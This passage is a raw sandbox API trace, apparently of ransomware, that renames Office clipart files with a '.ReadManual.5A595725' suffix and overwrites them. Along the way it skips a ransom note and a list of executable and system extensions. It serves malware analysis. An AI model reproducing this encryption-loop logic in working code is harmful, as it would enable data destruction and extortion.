psz2="ps1") returned 1 [0270.994] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.994] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.994] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.994] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.994] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" [0270.994] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.ReadManual.5A595725" [0270.994] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.ReadManual.5A595725") returned 87 [0270.994] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39166288612) returned 1 [0270.994] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf")) returned 0x20 [0270.994] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.995] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2612) returned 1 [0270.995] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa34, lpName=0x0) returned 0x184 [0270.995] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.995] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.995] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.998] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.998] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa34) returned 0x2f0000 [0270.998] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.998] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39166698524) returned 1 [0270.998] CloseHandle (hObject=0x184) returned 1 [0270.998] SetSecurityInfo () returned 0x57 [0270.998] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.998] CloseHandle (hObject=0x194) returned 1 [0270.999] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1 [0270.999] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02448_.WMF" | out: lpString1="NA02448_.WMF") returned="NA02448_.WMF" [0270.999] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.999] StrStrIW (lpFirst="NA02448_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.999] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.999] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.999] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" [0270.999] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.ReadManual.5A595725" [0270.999] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.ReadManual.5A595725") returned 87 [0270.999] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39166797744) returned 1 [0270.999] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf")) returned 0x20 [0271.001] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.001] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2208) returned 1 [0271.001] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a0, lpName=0x0) returned 0x184 [0271.001] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.002] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.002] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.003] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.004] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a0) returned 0x2f0000 [0271.004] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.004] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39167247776) returned 1 [0271.004] CloseHandle (hObject=0x184) returned 1 [0271.004] SetSecurityInfo () returned 0x57 [0271.004] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.004] CloseHandle (hObject=0x194) returned 1 [0271.004] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1 [0271.004] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02450_.WMF" | out: lpString1="NA02450_.WMF") returned="NA02450_.WMF" [0271.004] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.004] StrStrIW (lpFirst="NA02450_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.004] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.004] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.005] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.005] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.005] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" [0271.005] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.ReadManual.5A595725" [0271.005] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.ReadManual.5A595725") returned 87 [0271.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39167348207) returned 1 [0271.005] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf")) returned 0x20 [0271.005] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.005] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3112) returned 1 [0271.005] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc28, lpName=0x0) returned 0x184 [0271.005] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.006] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.006] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.008] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.008] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc28) returned 0x2f0000 [0271.008] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.008] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39167697216) returned 1 [0271.008] CloseHandle (hObject=0x184) returned 1 [0271.008] SetSecurityInfo () returned 0x57 [0271.008] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.008] CloseHandle (hObject=0x194) returned 1 [0271.009] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1 [0271.009] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02451_.WMF" | out: lpString1="NA02451_.WMF") returned="NA02451_.WMF" [0271.009] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.009] StrStrIW (lpFirst="NA02451_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.009] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.009] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.009] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" [0271.009] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.ReadManual.5A595725" [0271.009] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.ReadManual.5A595725") returned 87 [0271.009] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39167816950) returned 1 [0271.009] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf")) returned 0x20 [0271.011] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.011] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3440) returned 1 [0271.011] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd70, lpName=0x0) returned 0x184 [0271.011] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.012] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.012] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.013] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.013] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd70) returned 0x2f0000 [0271.014] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.014] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39168244649) returned 1 [0271.014] CloseHandle (hObject=0x184) returned 1 [0271.014] SetSecurityInfo () returned 0x57 [0271.014] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.014] CloseHandle (hObject=0x194) returned 1 [0271.014] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1 [0271.014] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02453_.WMF" | out: lpString1="NA02453_.WMF") returned="NA02453_.WMF" [0271.014] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.014] StrStrIW (lpFirst="NA02453_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.014] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.014] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.015] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.015] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" [0271.015] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.ReadManual.5A595725" [0271.015] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.ReadManual.5A595725") returned 87 [0271.015] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39168341518) returned 1 [0271.015] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf")) returned 0x20 [0271.015] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.015] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3388) returned 1 [0271.015] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd3c, lpName=0x0) returned 0x184 [0271.015] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.016] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.016] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.018] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.018] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd3c) returned 0x2f0000 [0271.018] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.018] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39168691849) returned 1 [0271.018] CloseHandle (hObject=0x184) returned 1 [0271.018] SetSecurityInfo () returned 0x57 [0271.018] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.018] CloseHandle (hObject=0x194) returned 1 [0271.018] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1 [0271.019] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NBOOK_01.MID" | out: lpString1="NBOOK_01.MID") returned="NBOOK_01.MID" [0271.019] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="RecoveryManual.html") returned -1 [0271.019] StrStrIW (lpFirst="NBOOK_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.019] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.019] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.019] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.019] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.019] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.019] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.019] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.019] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.019] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.019] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.019] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.019] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.019] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.019] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.019] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" [0271.019] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.ReadManual.5A595725" [0271.019] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.ReadManual.5A595725") returned 87 [0271.019] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39168790274) returned 1 [0271.019] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0271.020] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 